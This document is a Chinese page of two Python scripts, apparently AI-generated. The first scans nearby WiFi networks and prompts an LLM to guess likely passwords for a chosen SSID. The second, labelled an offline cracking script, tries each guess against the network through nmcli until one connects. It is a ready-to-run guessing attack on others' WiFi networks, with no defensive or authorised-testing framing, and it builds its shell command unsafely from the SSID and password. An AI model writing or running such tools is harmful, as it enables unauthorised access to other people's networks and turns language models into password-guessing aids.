WiFi密码生成脚本 | AI生成和翻译
#!/usr/bin/env python3
"""
WiFi密码生成脚本
扫描WiFi网络,让用户选择一个,使用LLM生成建议密码,并保存到@tmp目录。
此脚本需要联网访问LLM。使用单独的离线脚本来尝试使用保存的密码进行连接。
"""
import os
import sys
from get_wifi_list import get_wifi_list
from openrouter_client import call_openrouter_api
# 确保@tmp目录存在
TMP_DIR = '@tmp'
os.makedirs(TMP_DIR, exist_ok=True)
def parse_wifi_list(wifi_output):
"""
解析get_wifi_list的输出以提取SSID和详细信息。
返回包含'index'、'ssid'、'full_line'的字典列表。
"""
networks = []
lines = wifi_output.split('\n')
current_ssid = None
for i, line in enumerate(lines):
if line.startswith('SSID: '):
# 从行中提取SSID
ssid_part = line.split('SSID: ')[1].split(',')[0].strip()
current_ssid = ssid_part
networks.append({
'index': len(networks) + 1,
'ssid': current_ssid,
'full_line': line
})
elif current_ssid and line.strip().startswith(' '):
# 如果是子行,将附加信息追加到最后一个网络
networks[-1]['full_line'] += '\n' + line
return networks
def generate_password_suggestions(ssid, num_suggestions=10, model="deepseek-v3.2"):
"""
使用OpenRouter LLM为给定的SSID生成建议密码。
"""
prompt = f"为名为'{ssid}'的WiFi网络建议{num_suggestions}个可能的密码。根据常见模式、名称或默认设置使它们合理可信。按编号列出,每行一个,无需解释。"
try:
response = call_openrouter_api(prompt, model=model)
# 清理响应以仅提取列表
lines = [line.strip() for line in response.split('\n') if line.strip() and line[0].isdigit()]
passwords = [line.split('.', 1)[1].strip() if '.' in line else line for line in lines[:num_suggestions]]
return passwords
except Exception as e:
print(f"生成密码时出错: {e}")
return []
def save_passwords_to_file(ssid, passwords):
"""
将密码列表保存到@tmp目录中的文件。
"""
filename = os.path.join(TMP_DIR, f"{ssid.replace(' ', '_')}_passwords.txt")
with open(filename, 'w') as f:
for pwd in passwords:
f.write(f"{pwd}\n")
print(f"密码已保存到: {filename}")
return filename
def main():
print("=== WiFi密码生成器 ===")
print()
# 获取WiFi列表
print("正在扫描可用的WiFi网络...")
wifi_output = get_wifi_list()
print("可用的WiFi网络:")
if wifi_output.startswith("No WiFi"):
print(f" {wifi_output}")
sys.exit(1)
# 解析并显示编号列表
networks = parse_wifi_list(wifi_output)
if not networks:
print("未找到网络。")
sys.exit(1)
for net in networks:
print(f"{net['index']}. {net['full_line']}")
# 用户输入
try:
choice = int(input(f"\n选择网络 (1-{len(networks)}): "))
if 1 <= choice <= len(networks):
selected = networks[choice - 1]
ssid = selected['ssid']
print(f"\n已选择: {ssid}")
else:
print("无效选择。")
sys.exit(1)
except ValueError:
print("无效输入。")
sys.exit(1)
# 生成密码
print(f"\n正在为'{ssid}'生成{10}个密码建议...")
passwords = generate_password_suggestions(ssid)
if passwords:
print("建议密码:")
for i, pwd in enumerate(passwords, 1):
print(f"{i}. {pwd}")
# 保存到文件
save_passwords_to_file(ssid, passwords)
else:
print("生成密码失败。")
print("\n使用单独的离线脚本来读取此文件并尝试连接。")
if __name__ == "__main__":
main()
对于离线破解脚本(例如offline_hack_wifi.py),您可以单独创建它来从@tmp/{ssid}_passwords.txt读取密码,并使用nmcli或wpa_supplicant等工具尝试连接。以下是一个基本框架:
#!/usr/bin/env python3
"""
离线WiFi破解脚本
读取保存的密码并尝试离线连接到选定的WiFi。
"""
import os
import subprocess
import sys
TMP_DIR = '@tmp'
def attempt_connect(ssid, password):
"""
尝试使用nmcli(或备用方法)连接到WiFi。
"""
cmd = f"nmcli device wifi connect '{ssid}' password '{password}'"
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.returncode == 0:
print(f"密码成功: {password}")
return True
else:
print(f"密码失败: {password}")
return False
except Exception as e:
print(f"尝试连接时出错: {e}")
return False
def main():
ssid_file = input("输入SSID或@tmp中的完整文件名(例如:MyWiFi_passwords.txt): ").strip()
filepath = os.path.join(TMP_DIR, ssid_file)
if not os.path.exists(filepath):
print("文件未找到。")
sys.exit(1)
ssid = ssid_file.replace('_passwords.txt', '').replace('_', ' ')
print(f"正在尝试连接到'{ssid}'...")
with open(filepath, 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
for pwd in passwords:
if attempt_connect(ssid, pwd):
break
else:
print("所有密码均失败。")
if __name__ == "__main__":
main()